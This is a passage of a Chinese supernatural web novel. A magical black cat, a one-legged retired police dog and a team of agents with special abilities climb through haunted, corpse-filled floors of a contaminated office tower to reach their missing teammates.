“早就接到过几次报警,说有个变态,就是你吧,你还挺会选地方,知道绕着监控走,”赵峥峥没好气地看着他,“先在看守所待着吧!” 把变态押走,她转身,蹲了下来,摸摸小咪的脑袋。 “喵呜~” “谢谢你抓到了他,不然再过两天,说不定就会有个女孩受害了。” “喵呜~” 小咪坐在了德牧厚实软和的身体上,蹭蹭赵峥峥的手。 猫吃治安局的粮,这是猫应该做的。 “可以给咱们咪申请个奖章了。”李小明从烤鸡腿上撕了块肉,喂给小咪吃,“不过咪咪,你是把我们家闪电当坐垫子吗?” 小咪低头。 闪电眼睛潮湿凝望着它,用湿漉漉的黑鼻头拱了拱猫。 小咪:“喵喵喵——” 它自己愿意的。 “汪呜。”闪电下巴搭着地面,小声地汪汪,同意小咪看法。 把变态送到治安局,小咪从闪电身上跳下,嗒嗒往外面跑。 闪电跟在它后面,没跑多远,就被脖子上的绳子束缚。它又往前一步,绳子勒紧,勒进黄褐色的毛里。 小咪回头看它,“喵?” 闪电用力晃动尾巴,用湿漉漉的眼睛看着它。 小咪能读懂它的意思,跑过去,仰起头,蹭了蹭闪电的黑鼻子,“喵呜?” 狗,想要跟猫一起走吗? 闪电歪头,兔子一样的大耳朵跟着一抖,严肃的德警官脸上露出思索的表情。作为一只生下来就被训练为人类服务的特种犬,它脑子里只有守卫与服从。 “喵喵喵!” 小黑猫没有耐性,不等它思考多久,就喵呜喵呜开始催促。 德牧心虚地看眼身后灯火通明的治安局,低下头,黑鼻子在小咪的头顶碰了碰,“汪呜。” 影子伸出两只手,为闪电警官解开了束缚。 小咪跳到了它坚实有力的后背上,“喵呜~” 架!架!架! 冲呀,和猫一起奔向自由! “啊!”李小明在后面喊:“队长,咪咪把闪电拐跑啦!” 一猫一狗身姿矫健,四爪奔腾,冲出治安局,跃入黑暗中。 大巴车停在了路边,小咪纵身一跳,跳入车门里,闪电察觉到大巴车上传来的阴冷气息,犹豫停在路边,但在猫的命令下,它也后腿发力,用独臂攀上了车阶。 小咪像回家一样,找到了个干燥的位置,让狗子坐过来。 闪电侧身一躺,就占据了一排位置,它竖起耳朵,期待地看着小咪。 小咪跳到它的身体,靠在狗子热烘烘的毛上。 “哇,喵喵老师把大狗当座位。”小朋友们从椅背探出头,悄悄交头接耳。 “喵——” 小咪理直气壮。它自己愿意的! ———— 小咪让幽灵大巴将自己带到研究所。 咪好些天没回红竹市了,一回来,就要将自己的领地全部巡视一遍。 研究所的铁门打开,里面亮着灯火,在停车坪上,咪看见了几辆陌生的车辆。 “咪?”小咪闻见了陌生的气息,抬起的前爪没有落地,谨慎观察周围。 “嗨~美女~”一道沙哑的声音从树上飘了过来。 第83章 “嗨~美女~” “嗨~美女~” 沙哑的声音一声声响起。 小咪抬头,树上黑黢黢的,枝繁叶茂,瞧不见树叶里藏着的人影。 闪电伏低身体, 目光戒备,喉咙发出警告的低鸣。 几片树叶簌簌掉落,从树上钻出个花里胡哨、五颜六色的鹦鹉。它抬起一只爪爪,彩色翅膀神气地抖动,打招呼:“嗨~美女。” “喵!” 小鸟! 小咪兴奋地放大瞳孔,猛地爬上树枝,还没够着鸟,鹦鹉就受惊振动翅膀飞起来,大声喊:“杀鸟啦!杀鸟啦!臭猫杀鸟啦!” 猫追着鹦鹉,跳进了研究所窗户 一只修长的手从窗中伸出,食指一枚绿宝石戒指闪耀冷光,鹦鹉爪子缩起,抓住宝石,扑棱翅膀,大声喊:“吓死鸟了!吓死鸟了!” “喵!”小咪往上一跳, 轻松跳到窗台。 所长办公室里多了两个陌生人。坐在所长对面的女人穿黑色西装,马尾低扎,面无表情,而站在的男人打扮得和鹦鹉同样五颜六色,潮得吵到猫的眼睛,身上散发木质的香水味。 他抬起手,指腹摸了摸鹦鹉的头,“傻鸟,叫你乱飞。” “傻鸟要被吃掉啦, 傻鸟要被吃掉啦!” 小咪轻盈一跃,跳到所长的桌子上,严肃地对着人喵喵叫。 猫才没有想吃掉它,是它自己碰瓷的。 “这就是你们的咪咪?养得不错嘛,毛油光发亮的。”人形鹦鹉精笑着摸它的头,大手在猫的头顶揉来揉去,袖口飘出的香气让小咪打了好几个喷嚏。 “阿嚏——” 小咪全身一抖,把脸扭过去。 “你好,咪咪,”鹦鹉精笑着朝它介绍,“我们是白石市的精卫小队,从海边来,你喜欢吃鱼吗?” “咪呜!” “我们那有好多鱼,小猫咪,”他曲起手指,熟练地挠着猫的下巴,“要不要到我们那去呀?” 小咪:“呼噜呼噜。” 鹦鹉急得在青年的肩膀跳来跳去,“不要猫不要猫。美女,婉拒!美女,婉拒!” “咪咪是愚公小队所有人的心尖尖,你敢把它骗走,明天萧向秦和苏乐,一个扛枪一个提铡刀就追过来。”西装女孩表情冰冷如霜,“我可不想得罪他们俩。” 鹦鹉连连点头,“队长说得对!队长说得对!” 所长嘴角微弯,温声同小咪介绍,“咪咪,这是精卫小队的队长,夏双双。这位……” 不等所长说完,鹦鹉精笑着自我介绍,“我叫谢临风。” 鹦鹉在旁边饶舌插嘴,“我是大帅哥,我是大帅哥~嘿,美女,约会吗?” 谢临风捂住了鸟嘴,“好了好了,别说啦,这事我们两知道就成了。” 小咪蹭蹭人的手,在他们身上标记味道,又跳下桌子,爪爪从门缝里伸出掏了掏,打开门,跑到门外。 “喵——” 猫大声和人打招呼。 平日坐得满满当当的大厅,却显得空荡荡的。小咪跳上人的办公桌,四下张望,“喵呜?喵呜——” 它坐在萧向秦的桌子上,拖长声音叫唤。 没把萧向秦叫回来,谢临风和他的鹦鹉走到门口,说:“你们队的人都出去攻塔了。” “喵?” 攻塔? 谢临风掀开窗帘,指向夜空,小咪跳到窗台,顺着他所指往外看。 已经到晚上,天空未暗,笼着层雾蒙蒙的红光。城市的夜晚总是如此,很少有小咪在寐城见到的,一眼望不到底的黑暗与漫天灿烂的星辰。但今晚的天空比咪的记忆里,要更加暗红,好像天空被捅破了血,流出层铁锈一样的猩红。 意识到这点,小咪周围的空气变得粘稠,不再有流动的风,它的呼吸变得急促了,被长毛覆盖的腹部频率很快地振动,榨取稀薄的氧气。 一只手覆盖住小猫的眼睛。 “好啦好啦,不要看了。” “喵呜。” 小咪嗒嗒跑到所长的身前,纵身一跳,跳到她的腿上,前爪扒拉着她的手臂。 人,发生什么事了,猫很担心你! 所长笑着揉了揉它的头,“是这样的……” 在他们进入美人图没多久,庆康集团整栋大楼出现了一个极强的污染源,笼罩在一层血光里。愚公小队全员出动,必须在短时间内,灾厄还未溢散到整座城市前,将污染控制住,找到污染源。 精卫小队的二人就是在附近出差,紧急被调来的。 “但也只有我们两个能进来了。” “喵?”小咪耳朵一抖,歪了歪头。 为什么喵? 谢临风笑着说:“红竹市已经被封锁啦。” 鹦鹉在他肩膀插嘴,“一只鸟也飞不进来!一只鸟也飞不进来!” “如果解决不了污染源……” 鹦鹉继续抢在人之前大声说:“死掉啦!大家都会死掉啦!” “咪咪,你要和他们一起去吗?”所长温声问。 夏双双拒绝,“不用。带这只傻鸟就够费劲了,我们不想再带一只猫。” 鹦鹉扯着脖子大喊:“大人!冤枉!大人!冤枉!” 小咪跟着大声喵喵叫。 猫不傻,猫不傻! 夏双双:“鬼域已经够危险了,我们家的鸟死了也就死了,要是他们的猫调皮乱跑,被鬼给杀了,我可不想和萧向秦解释。” “咪咪是只很特别的小猫,”所长亲自为小咪正名,“它是愚公小队的一部分,所以,咪咪不是为了好玩想去的,是因为担心自己的朋友,是不是?” “咪呜咪呜。” 小咪亲昵地蹭蹭所长的脸,被所长抓住爪爪,亲了一口。 夏双双心里诧然:她隐约猜到一点所长的身份,对方很有可能是神话里的生物,不过以人的形态在人间游走。 神话生物……也爱撸猫吗? 既然所长发话,两个人便带着小猫前进。 走出办公室,夏炫就追上来,嬉皮笑脸地说:“带我一个吧。” 夏双双冷漠拒绝,“你的影子没什么用。” “我的影子没用,但我人有用呀,”夏炫朝小咪眨了眨眼睛,“我可以给咪咪铲屎,我还可以当咪咪的坐骑。” “喵呜!”小咪跳到他的肩膀上,舔了舔他卷曲的头发。 鹦鹉不甘示弱,跳到谢临风的头顶,扇动五彩斑斓的翅膀,扭动小脑袋,像是在跳舞,“鸟也能骑人,鸟也能骑人!” “你下来,”谢临风把它扯下来,“我刚做的发型呢。” 鹦鹉扑棱翅膀,大声叭叭,“不要猫,不要猫。” 不管鹦鹉如何抗议,小咪还是带着它的狗子和铲屎官跳上车。鹦鹉大叫一声,倒在谢临风的怀里,身体僵硬,大喊:“鸟死啦。” 夏炫:“你们这只鸟……” “戏很多是吧?”谢临风转过身,“它的名字叫戏精。” “真是鸟如其名啊。” 戏精装了会死,发现小咪不搭理它,又跳到后座,探头探脑地打量着小咪。 猫窝在闪电的身上,把闪电仅有的前臂当作枕头,后脑勺陷入狗子热乎厚实的胸口,为自己找了个最舒服的位置。 戏精用爪子攀着皮椅,鸟喙叼住椅背,一跳一跳,跳到了小咪的身边。 小咪眼睛睁开一小条缝,懒懒地看着它。 戏精脑袋往前一伸,尖尖的鸟喙往小猫身上一点,还没啄到猫身上,它就被闪电一脚蹬了下去。 “啊!杀鸟啦!杀鸟啦!” 它慌张地逃到了前排,过了两分钟,又贱兮兮地探出脑袋,头顶羽毛摇摆,“嗨,美女~” 夏炫忍俊不禁,“养这么个小玩意,还挺热闹的。” 谢临风揉着鹦鹉的脑袋,他家鸟长得五颜六色,很符合他的审美。他回头往后座看了眼,目光落在小猫的爪子上,粉红饱满的肉垫正对着他,山竹一样的小爪子有时捏紧,有时松开,隔空踩奶。 “嚯,”谢临风悄悄把手伸过去,揉揉小咪的肉垫,“你们养它,这不得被萌死。” 两个人愉快地交流养宠心得,聊了一会,车停在了庆康集团楼下。 这栋大楼都被集团买下,因此,污染暂时控制在公司内部,污染发生后,被困在其中的公司职员彻底失联。 几辆治安车停在楼下,隔绝好奇人群。 赵峥峥看见跟着小咪跳下车的狗子,表情微变。 闪电试图把自己藏在小猫的身后,小咪也很讲义气,翘起自己蓬松的尾巴,把自己变成一个蓬松、圆滚的毛球,挡在狗子的身前,努力让自己变大、变大,挡住了狗子的一只爪爪。 赵峥峥蹲下来,“好啊,你就丢下我们,跟着咪咪跑了,是不是?” 闪电低下脑袋,藏在小咪的尾巴后,不敢和人的眼睛直视。 “喵。”小咪站得笔直。 人,不要欺负狗,猫罩着它。 “好啦,你们玩了一晚上,累了不?”赵峥峥给它们打开车门,“去车上睡觉吧。” 小咪却朝着相反的方向跑,跑到大楼门口,回头喵喵叫几声,德牧就化身成一道闪电,飞奔到猫的身边。 李小明:“闪电,回来!” 赵峥峥叹口气,“算了吧。” 李小明拿起牵引绳,准备追上狗子,把它拖回来,“可是队长,闪电已经退役了。它都已经为了执行任务截肢,干嘛再让它去冒险呢?” 他不太清楚大楼里的具体情况,但还是知道,里面很危险,极度危险。别说是小猫小狗了,连愚公小队那些能力者,都有可能有来无回。退役小狗已经为了人类失去一条腿了,以后晒太阳吃鸡腿,安度余生就好了,为什么还要让它再闯进危险的地方?他很听赵峥峥的话,这次却执着地想把闪电牵回来。 赵峥峥目送着小狗一瘸一拐地往前走,“退役以后,闪电一直不开心,你也看见了,它并不想这么年轻就开始养老,这是它自己做出的选择。” 李小明愣了愣,一晃神的功夫,小咪和闪电已经跑进大门。 第84章 孙菱抬头看着天空。 刚离开鬼域, 她心中就升起一阵悸动。 王平抱着猫崽子,尽职尽责当个奶爸,小白猫挂在他的胸口,不安地喵喵叫着。他熟练地把一根手指伸入小猫的嘴里,当安抚奶嘴让它嘬着,“你不知道,这崽子指甲边尖了,还往我身上爬,我几万块买的名牌啊,全让小崽子给挠花了,早知道不要它了,还是丧彪懂事又可爱啊。” “罚罪啊罚罪,”他点了点小奶猫粉红的鼻头,“你是不是知道自己是零元购,在努力给自己提身价呀?下次再挠我衣服,真把你丢垃圾桶了。” “喵呜~” 小白猫一口叼住他的拇指, 砸吧砸吧含在嘴里。 这时, 事务所的门被敲响。 “有客户来啦?”王平喜上眉梢, “快去招待。” 孙菱走到客厅,一个男人打开门,走了进来。她轻轻挑了下眉, “你有钥匙?” 男人背着个漆黑的书包,身穿卫衣牛仔裤,很平常的打扮,消瘦阴郁,像个落魄的背包客。 “我以前也在这里工作。” 孙菱“奥”了声,给他倒了杯热水,王平气汹汹地冲过来,一把夺去纸杯,把被子捏扁,“你来干什么?” 他冷哼:“我和你没什么好说的!” 背包客放下包,拉开拉链,里面鼓鼓囊囊装着一袋纸币。 王平斜眼看了看,马上移开目光,表情不渝地说:“拿钱也没用!” 孙菱心里“哦豁”一声,王平这人吧,对客户毕恭毕敬,总是一副卑微社畜,见钱眼开的模样。能让这财迷高风亮节的,对钱说不的,只有对某个特定人的厌恶。 “你就是抢了师父很多单子的宋师兄?”她又倒了杯茶递给背包客,笑着说:“久仰大名啊!” 王平:“你胳膊往外拐啊。” 宋柏朝她点头,“师妹,你好。”他扭过脸,看向王平,表情很严肃:“波及整个城市的灾厄发生了。” 孙菱微微皱起眉,“灾厄?” 王平重重哼一声,继续抱着怀里的奶猫,“和我有什么关系?” “如果灾厄没控制住,污染会在红竹市扩散。” “污染扩散不是好事吗?我们就能接到更多的活了。” 宋柏:“会死很多人。” 他将包放在茶几,“我想雇佣你们,这些只是定金。” 孙菱问:“愚公小队不能控制住吗?” 宋柏:“这次不同寻常,他们人手不够。” 王平抱着小奶猫往回走,一眼都不肯给他,“太危险了,关我屁事,再多的钱也买不了命啊,阿菱……” 孙菱:“我和你走吧。” 王平哼一声,把门重重甩上,声音震得怀里小奶猫炸了毛,喵喵大叫。 “愚公小队出钱请你过来的?”孙菱收拾着东西,她要带的也不多,塞了点药片和压缩饼干放包里。 宋柏摇头,“这是我的钱,上次拿了十几个长生果,每一个卖了一两百万。” 孙菱眼睛发亮,羡慕的眼泪不争气地从嘴角流下来。难怪能被王平记恨这么久了,那——么——多——的钱啊! “这次,不一般。”宋柏眉头紧锁,“如果处理不及时,红竹市会被拉进暗世界,城市已经被封锁了你知道吧?” 孙菱茫然地瞪圆眼睛,“不知道,我刚回来啊。” “血月降临,我们这些人也许不会死,但……”他把窗户打开一点,凝视着外面的夜景,对面是一栋居民楼,家家灯火通明,小小一叶窗就像一面画框,框住千家万户。街灯一点点亮起,马路上红彤彤的车灯连成排,像一条闪耀的星河。 孙菱心沉下来,自动补全了他的话。 但是这座城市,或许要被毁灭了,这么多人,也会在转眼间就失去生命。 她把包的拉链重新拉上,“不用钱了,这单我免费……” “谁说免费了!”王平从门里幽怨地探出头,“人可以走,钱留下。” “是我接的单……”孙菱小声嘟囔。 王平啪地一声,又重重摔上门,继续当小猫奶爸。 但孙菱察觉到,有什么地方不同了。 “走吧,”宋柏转身,“他已经使用了能力。” 王平的能力相当好用,简单来说,可以给他们分享一个路人甲光环。在光环加持下,他们不管做什么都方便很多,不过如果他们在鬼域里死了,王平自己也会受到重创。 孙菱大声喊:“谢谢师父!” 两个人走出了公寓楼,在事务所窗口,王平幽幽看着他们离开的背影。 “白虹贯日,重义轻利,”他叹口气,“我怎么收了这么两个人?” “喵~喵~”怀里的小奶猫嗲声嗲气叫起来。 王平熟练地把手指塞进它嘴里当奶嘴,“罚罪,你要争气点,长大以后当个见钱眼开没有感情的杀手!” “喵呜。”罚罪叼着奶嘴,吧唧吧唧砸吧嘴巴。 ———— 小咪跑进了庆康大楼内部。 大楼灯熄灭,楼内光线昏暗,夏炫打开手电筒,光线只照出不到一米,就被浓厚而粘稠的黑暗吞噬。 “往前走。”夏双双率先踏出第一步。 “等等,咪咪呢?”谢临风瞪大眼睛,诧然道:“咪咪跑丢啦?” 小黑猫蹲在他的脚边,气鼓鼓地盯着他,一口咬住他的鞋带。 鹦鹉蹲在他的头顶,羽毛一抖一抖,声音沙哑地喊:“咪咪~嘿,美女?咪咪~嗨~美女?” 夏炫:“……你都教你家鸟说些什么玩意?” 谢临风讪讪一笑,丝毫没感觉到有只气呼呼的小猫一屁股坐在自己的鞋边,“坏喽,刚进楼就弄丢你们队的猫,幸好带你过来了,到时候萧队追究,你得做个证,是它自己跑掉的。” “咪咪才不会乱跑。”夏炫弯下腰,把小咪抱了起来。 “我擦,从哪里冒出来的?” 小咪尾巴飞快地甩来甩去,垮起个猫脸,喵呜了一声。 从海边来的人,眼神也一样不好。 猫又长见识了。 大楼一共有八架电梯,他们靠近时,电梯门自动打开了。电梯轿厢里很亮,刺目的光线在昏暗环境显得格格不入,里面空荡,并没有人。 电梯门敞开,静对着他们,就像是怪物突然睁开一只眼睛,冰冷瞪着来客。 几秒后。 “叮——” “叮——” “叮——” 电梯数字飞快变化,一扇扇冰冷的门在他们面前打开。 仿佛怪物睁开了所有眼睛,一起瞪着他们。 “喵!”小咪毫不客气地反瞪回去,眼睛瞪得像铜铃。 “这个电梯还在下落。”谢临风走到最尽头的电梯前,比起另外几架,这架电梯下落的速度很慢,每隔几层,就停了一下,好像有人正在正常地下楼。 七扇打开的电梯门投射出冰冷的白光。 他们紧张地看着最后一架电梯,如临大敌。 随着鲜红的数字停在一,电梯门却迟迟没有打开,暗红色的液体从门缝流了出来,像条鲜红的小蛇,朝着人蜿蜒爬来。 夏双双手里出现一把长方形的金色戒尺,往下一劈,红蛇被劈成两段,电梯门突然打开,嗡嗡声大作,一阵黑色的“云”从轿厢里飞了出来。 密集的蝇虫聚集成云,等苍蝇飞走,他们才看清里面的情况。 一具具纠缠的肢体挤满了电梯。 这些尸体是公司职员,脖子带着工卡,尸水浸透了正装,一张张青紫的面孔有了腐烂的迹象,肌肤上有点点米白色的蛆虫蠕动。 地上尸水干涸,落了层黑色的壳,是幼虫化蝇丢下的蛹壳。 就像一个腐烂发胀的罐头猛地打开,先飚出一股尸水,随后同样不可小觑的恶臭也朝他们杀过来。 小咪吐出舌头,干呕两下,把脸埋在了闪电厚实的毛里。臭味也困恼着嗅觉出色的特种犬,它坐得笔直,让小猫藏在自己的身下,漆黑的鼻头忍不住耸动,表情坚毅。 夏炫脸色发白,捂住鼻子,看着眼前的惨状,能想象到发生了什么。 打工人们照例上班,或许掐在踩点的时候,电梯里正好装满了这么多人。 然后,意外突然发生了。 “走吧。”夏双双走进电梯。 “乘这个?” 夏双双点头,“平面图上的楼梯消失了,我们只能乘电梯上去,另外几架更危险,这个电梯里,只有一些死人。” 她站在死人中,按住了开门键。 “好臭!好臭!好臭!”鹦鹉在谢临风的头顶跳来跳去。 小咪也爬到了夏炫的头顶,至于闪电,扒拉着青年的肩膀,跳到他怀里。 夏炫费劲抱着大狗,“你们这两是一点脏都不愿意沾啊?” “喵喵喵!”小咪紧张地伸出指甲,紧紧抱住他的头,生怕自己不小心就掉到下面的尸水里。 闪电则是咧开嘴,朝着人类露出人畜无害的微笑。 他们还记得,这架电梯最初是停在69楼,于是也按了69的楼层。 数字从1变成了2,缓缓上升。 夏炫托着德牧的屁股,紧张看数字变化。 69楼的高度一旦电梯失灵突然下坠,结果是致命的,轿厢里的一地尸体也许正遭遇了这样的意外。 好在轿厢数字平稳变化,没出现什么意外。 只是,他呵出口白汽 ,后颈肌肤蹿起片鸡皮疙瘩,像被谁往脖子里呼出口气。 电梯里好像变得十分拥挤。 小咪也有同样的感觉,于是它抬头往上看。 轿厢顶部光滑、锃亮,像一面镜子。 此刻,镜子里照出了许多黑色的头顶。 当猫往上看时,镜里映出的人影也缓慢地抬起头,他们将脖子后仰,几乎折成九十度,脑袋与地面平行,一张张青紫色七窍流血的脸出现在镜面上。 第85章 小咪眼睛瞪圆,好奇地低下头,轿厢里除了三个站着的人,只有一群倒在地上的腐烂尸体。 在猫眼里, 尸体只是一堆腐肉。 它又抬起头,看向头顶的镜面,镜中反射出的电梯挤满了人,每个人都仰起脸,面无表情地与它隔镜对视。 小咪想了想,想不明白,就不纠结了。猫的嘴巴微微张开,胡须颤动,朝着镜面里的鬼影无声打个招呼,就把头搭在青年的肩膀,蹭蹭他的耳朵, “喵呜~” 夏炫微笑着说:“咪不要怕,很快就到了,这不没出什么事嘛。” 闪电全身绷紧, 同样注意到头顶的异常, 不过它和小咪一样,选择了不发出声音。 “啊!有鬼~啊!有鬼~” 戏精扑棱翅膀,大叫起来。 小咪抬头。 电梯里那些鬼影脸上表情没什么变化,眼珠子纷纷往旁斜,看向了戏精鹦鹉。 它们僵硬地抬起手臂,抓向鹦鹉鲜艳的鸟羽。 “啊~有鬼!有鬼!” 戏精紧张得头顶呆毛翘起来。 小咪飞快思考:这些散发危险气息的东西, 是听见戏精的叫声,才被吸引了注意力? 逝者与生者之间隔了一层镜,活人看不见它们, 同样,它们也看不见活人。之前人类说话,但没吸引轿厢里鬼魂的注意,说明它们的听力也不太灵敏。 只是戏精的声音分贝超高,又尖又刺耳,像高音喇叭在轿厢里回荡,很难不让鬼注意。 小咪突然抬起爪子,一巴掌扇在鹦鹉的头上。 鹦鹉被扇懵了,呆呆地看着它,声音戛然而止。 小咪朝它哈气,眼神凶狠,尖锐的虎牙一口就能咬断它的脖子。 戏精也明白这点,被狩猎者支配的恐惧像阴云笼罩在小鸟的心上,它把脑袋一缩,用翅膀遮住头,自欺欺人地把身体埋在了谢临风的头发里。 终于安静了。 谢临风把小鹦鹉拿下来,握住它的嘴巴,把它塞进袖子里。 电梯缓慢往上升,鲜红数字一个一个跳出来,之后几分钟里,没有人再发出声音,轿厢变得极其安静。 “叮——” 电梯停在了69楼。 门缓缓打开,几个人快步走出了电梯,小咪趴在人的头上往后望。 满电梯的人都在仰起头,呆滞地看着头顶。 “叮——” 电梯门慢慢闭合,这时,它们整齐地将脸扭过来,一根根青紫的手指掰住了门。 “这架电梯快形成鬼域了。”谢临风叹气,“说不定我们下来的时候,就已经……哎哟!” 鹦鹉神气地从他袖子里跳出来,啄着他的手,“呸!乌鸦嘴!呸!乌鸦嘴!” 这一层桌椅散乱,地上布满玻璃碎片。 夏炫依旧怀里抱着狗,头上顶着猫,怕玻璃扎到了猫猫狗狗的肉垫。 “这里有污染痕迹,鬼域被强行破除了。” 小咪望向头顶,注意到天花板上密集的弹痕,提醒人看,“喵!” 夏炫听话地举起手电往上,“很明显,是我们队来清理过了。” 这一层鬼域已经被破除,几个职员倒在地上,昏迷不醒,附近用布条桌子围起来,做成了简易的安全屋。 谢临风蹲下去,看了看他们的情况,“被救治过,没生命危险,可能被鬼域影响到了。” “汪!” 闪电跳下来,鼻子在空中嗅几下,带他们绕过几个工作区与会议室,来到一扇门前。 “汪汪!”它眼神明亮,尾巴尖尖晃动。 是有什么线索? 几个人举起手电一看,表情微变,强光手电照在一扇门上,门板穿裙小人的标识清晰可见。 “女厕所?” “汪!” “不是吧阿sir,”谢临风犹豫地站在门口,“这明显不是上楼的路啊。” “臭流氓、臭流氓。”戏精跳到人的肩膀,扇动翅膀,大声叭叭。 小咪朝它哈一口气。 戏精吓得全身一抖,往谢临风的衣领里钻,身体僵直,一动不动。 谢临风揉揉自己家的小鸟,心疼是心疼,可还是忍不住说:“你这不是欠嘛,活该被小猫扇巴掌。” 小咪从夏炫肩膀跳下,前爪搭住把手,用下坠的重量往下拉,打开了卫生间的门。它尾巴翘高,小脑袋一钻,嗒嗒跑进了门。 闪电紧跟着猫的后面。 卫生间干净宽敞,瓷砖锃光瓦亮,入门是洗手台与长方形的镜子,再往里,则是两排隔间。隔间的门虚掩着,净化空气的香氛飘来。 小咪认真嗅空气里的气味。 在门口时,它也闪电一样,嗅到愚公小队的气息,可一进洗手间,人的气味就消失得无影无踪了。 小猫抬起头,认真嗅嗅,被香薰香得打了个喷嚏。 “阿嚏——”它咬到了一嘴自己胸口卷曲的长毛。 夏炫推开隔间门,挨个做检查,谢临风举起手电,观察着室内情况。 “不愧是大公司啊,连卫生间都这么气派,不知道月薪多少?”谢临风感慨了下,想起那一电梯的死人,心里咯噔一声,“太倒霉了。出事那天不是节假日吗?加班就够惨了,还要遇到这种事。” 夏炫走到尽头,推最后一个隔间,没能推开门,“门锁着?里面有人?” “可能被什么抵住了。”谢临风走进旁边隔间,踩着马桶,趴着隔断往里看。 小咪跑到了隔间门口,门离地面有两厘米左右。它趴下身体,脑袋蹭着地,往里面瞅。 然后咪就对上就一双惊恐的眼睛。 是一个人,和猫一样,整张脸贴在冰冷的底面,眼睛瞪得很大,几乎跃出眼眶,好像外面有什么恐怖的东西。 “喵。”小咪试探性地朝他叫了声。 “擦——”谢临风差点脚一滑摔倒,以他的角度,看得更清楚。 先映入他眼帘的,是一双漆黑的鞋底,皮鞋,牛皮鞋底一丝不染,防滑纹路里也没有一丝灰尘。鞋底往下,是一双像木棍一样笔直僵硬的腿,双腿被高档西装裤包裹,脚踝部位露出惨白的皮肤。 他的身体就像一个被用过的拖把,头朝下靠在了隔间里,脖子折断了,脑袋紧贴地面。 戏精本来急不可耐地跳到隔板,往里面瞅瞅怎么回事,看见这一幕,僵硬地直直往后栽。 谢临风连忙把小鸟塞袖子里,跳到地上。 “里面是什么?” 谢临风苦笑,“你还是别看了,应该是个公司员工,就这么死了。” 死了? 小咪歪头,在猫的视线里,与它四目相对的浑浊眼珠,在缓慢地往上移。 “哈!”它凶狠地哈气,只哈一声,就被抱住肚子,四只爪子无奈拨动空气。 “要不我们出去吧?这里没什么发现。”夏炫搂住小猫,低头顺嘴亲了下它的额头。 人类温热的嘴巴在猫的头顶磨擦,吸到动情时,还会发出“嘬”的声音,把小咪脑袋上一撮毛吸成塔尖。 “哎,让我也吸一口猫。”谢临风一张脸在小咪的视线里不断变大,木质的浓郁香水味挤入猫的鼻腔。 小咪垮起猫猫脸,抬起后爪,用力一蹬,把他的脸蹬开。它从夏炫怀里挣扎出,跳到洗手台上,抬起爪子,把脸擦干净,顺便学着人的模样,照了照镜子。 卫生间光线昏暗,镜子也是黑色的,如果不用手电刻意照,看不见里面的样子。 小咪看着镜子里的黑猫,歪了歪头,“喵呜?” 镜子里映出卫生间的模样,猫身后雪白冰凉的瓷砖上,多了一扇门。 “喵!”它对着人叫。 夏炫揉揉小猫,“摸你一下就要擦脸,就这么嫌弃我们的味道?” 小咪:“喵!” 闪电用前爪攀着洗手台,看了镜子一会,懂了猫的意思,作为一名从小接受训练的特种犬,它显然更加明白如何与人类沟通,从谢临风手里叼走手电,放在了洗手台上,让光束正对着镜面。 于是,在它们的配合下,人终于看见藏在镜中的门。 ———— “藏心美术馆?” 在公司洗手间的镜子里,出现了一扇美术馆的门。深绿色的大门微敞,就像张开嘴的捕蝇草,等待猎物进入。 “这个鬼域不是自然污染造成的,像是有人故意在楼里放了污染物,故意设置的陷阱。” 通往70层的道路不再是电梯或者楼梯,而变成了镜中的一扇门。大楼的空间扭曲,像被大手揉碎的纸张,夏炫心里叹口气,转身在墙壁上摸索,果然摸到了那扇绿色的大门。 不管前面有多少个鬼域,他们都必须往走下去。 推开门就进入美术馆内部。 美术馆地面是褐黄色的木质,灯光昏黄,墙壁挂着一副副油画,画面里画的是一个女人的背影。 谢临风把手电光束往前移,第一幅画中,女人背对着他们,第二幅画里,她已经稍微侧过身,再过几幅画,她的身体已经转过了一半,从乌黑发丝的间隙,漏出只暗红的眼睛,幽怨地凝视着来人。 “不要看下去了。”夏双双拿走手电,让光线照着地面,引导大家的视线从画上转移。在美术馆木地板上,突兀地出现了一块块白色瓷砖,瓷砖光滑,与庆康大楼的办公室是同一材质。 “这是愚公小队开辟的路,他们觉得时间很紧迫,来不及一个一个用正常的手段解开鬼域,所以选择了暴力破除,在鬼域里打开一条通道。我们只要沿着瓷砖往前走就行,小心别踩错了,污染物没有被封印,这里还是鬼的地盘。” 夏炫背猫抱狗,低下头,专注看路。 小咪坐在人的肩头,好奇地张望墙壁的画。油画里的女人背影逐渐转身,前一张比后一张身体扭转幅度更大,就好像徐徐翻到的连环画,到第十二张时,她已经完全转身,正对着众人,满头长发遮住了脸,发隙漏出眼睛。 小咪歪头。 然后呢? 于是它好奇看向第十三副画。 十三副画里,女人开始往外面爬了。 随着夏炫往前走,油画从身侧一张张掠过,画中的女人低头散发,像贞子一样从画里往外爬,爬出了半截身体。 就在她的身体快全部爬出时,小黑猫从人的肩膀跳下去,肉垫拍在了画框上,使用自己的能力。 第二条命赋予了画框生命,画框像个嘴巴,往里一收。 往画外爬的女人被夹住了腰,她上半身垂下来,挂在墙上,身体剧烈挣扎,手指在地板划拉道道血痕。 “咪呜~” 小咪朝她叫一声。 猫就关你一小会。 小咪往前看,前面一副画中一片空白,已经没有了女人。 “咪咪?” “咪呜!” 它翘起尾巴追上人,跳到了青年的怀中。 接下来的几层是同样的情况,数个鬼域相连,鬼域没有被封印,只是暴力拆出一条通道。他们沿着道路往前,遇到一点小危险,但都有惊无险地解决了。 到79楼时,推开隐藏的门,一片浓郁的红跃入众人眼里,簇簇开得灿烂的玫瑰花连成花海。 小咪抬起头,鼻子翕动,嗅空气中的气味,它闻见熟悉的气息,以及浓烈不散的血腥味。 第86章 这是一片玫瑰海,各种颜色的玫瑰花连成片云蒸霞蔚的花海,灿烂而热烈的火红争着跃入人们的眼睛。 “好美。”谢临风喃喃,作为一个喜欢欣赏美的人,他被扑面而来的美震撼住了,玫瑰花树长得有人那么高,枝头挂满了繁茂的花朵,层叠的花瓣很大,叶片厚实,花色鲜艳欲滴,“这是香格里拉吧。” 他情不自禁走近,欣赏地凝视着花朵,鬼使神差,想要抬手摘下一朵花。 “嘿~美女~约吗?” “嘿~美女~约吗?” 戏精扇动翅膀,小脑袋扭动,在谢临风的头顶转圈,抬起一只爪子,疏理自己头顶鲜艳的羽毛,给大家表演一套标准的求偶舞。 谢临风捏住小鸟,把它塞进衣领,“别这么浪好不好,平时都让你少看霸总短剧了,这都学了些啥?” 经过戏精这么一打岔,他才注意到,隐藏在美丽花瓣下的危险——藏在花叶深处的尖刺,每一根刺都有几厘米长,像根根钢针,竖在花下。 